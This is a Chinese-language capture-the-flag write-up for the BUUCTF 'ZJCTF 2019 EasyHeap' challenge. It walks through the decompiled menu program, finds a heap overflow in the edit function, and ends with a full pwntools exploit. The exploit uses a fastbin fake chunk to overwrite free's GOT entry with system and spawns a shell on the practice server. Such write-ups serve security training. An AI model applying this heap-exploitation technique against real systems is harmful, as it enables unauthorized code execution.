[buuctf][ZJCTF 2019]EasyHeap
[ZJCTF 2019]EasyHeap
1.checksec:

RELRO: Partial RELRO可以修改got表。没有开PIE
2.执行一下:
有菜单,根据输入实现不同的功能

3.ida分析:
1.main函数:
menu是菜单
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL); // 初始化
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 0x1305 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t(); // 后门函数
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
当v3==0x1305,magic>0x1305时执行l33t,l33t是后门.虽然不知道如何执行这个后门,但是它提供了system的got表和plt表

int l33t()
{
return system("cat /home/pwn/flag");
}
2.菜单:
int menu()
{
puts("--------------------------------");
puts(" Easy Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Delete a Heap ");
puts(" 4. Exit ");
puts("--------------------------------");
return printf("Your choice :");
}
3.create_heap:
创建堆块并输入数据
unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);//输入chunk的size
size = atoi(buf);
*(&heaparray + i) = malloc(size);//heaparray[i]保存申请的chunk的地址
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(*(&heaparray + i), size);//往堆块里输入数据
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
4.edit_heap:
根据index编辑对应的堆块,要求重新输入size,可以输入大一点的size堆溢出
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL); // 输入要修改的chunk的index
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL); // 输入chunk的size,这里并不是根据创建堆块时所输入的size编辑chunk,而是重新输入任意的size,那么这样就可以堆溢出了
v2 = atoi(buf);
printf("Content of heap : "); // 修改chunk的数据
read_input(*(&heaparray + v1), v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
5.delete_heap:
根据对应的index释放对应的堆块
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");//输入要释放堆块的index
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
free(*(&heaparray + v1));//释放堆块并把heaparray[v1]置为0,没有uaf
*(&heaparray + v1) = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
3.利用思路:
先申请3个堆块,index分别为0,1,2,然后释放chunk2,接着edit chunk1溢出,修改chunk1数据为/bin/sh(因为后面要delete chunk1 getshell)修改chunk2的fd为一处与heaparray数组接近的地方,因为这里可以错位偏移构造一个size为0x7f的fake_chunk,绕过malloc对fastbin chunk的检查,让它插进fastbins ,之后从新申请回fake_chunk,利用fake_chunk溢出修改heaparray[0]的值为free_got,最后edit chunk0(现在为free_got)为system_plt,然后delete(1)执行system("/bin/sh") getshell


4.利用过程:
1.将0x6020ad处的fake_chunk加入fastbins:
add(0x60,"happy")
add(0x60,"happy")
add(0x60,"happy")
delete(2)
payload = b'/bin/sh\x00' +b'A'*0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)


2.修改heaparray[0]的值为free_got:
add(0x60,"happy")
add(0x60,"happy")
payload2=b'A'*0x23+p64(elf.got["free"])
edit(3,len(payload2),payload2)


3.修改free_got为system_plt,delete(1),getshell:
payload3=p64(elf.plt["system"])
edit(0,len(payload3),payload3)
gdb.attach(io)
pause()
delete(1)
io.interactive()



5.exp:
from pwn import *
context.log_level="debug"
#io=process("easyheap")
io=remote("node4.buuoj.cn",26646)
elf=ELF("easyheap")
def add(size,content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap:")
io.send(content)
def edit(index,size,content):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap : ")
io.send(content)
def delete(index):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))
add(0x60,"happy")
add(0x60,"happy")
add(0x60,"happy")
delete(2)
payload = b'/bin/sh\x00' +b'A'*0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)
add(0x60,"happy")
add(0x60,"happy")
payload2=b'A'*0x23+p64(elf.got["free"])
edit(3,len(payload2),payload2)
payload3=p64(elf.plt["system"])
edit(0,len(payload3),payload3)
#gdb.attach(io)
#pause()
delete(1)
io.interactive()
6.拿到flag:

作者:happynoy
本文版权归作者和博客园共有,欢迎转载,但必须给出原文链接,并保留此段声明,否则保留追究法律责任的权利。

浙公网安备 33010602011771号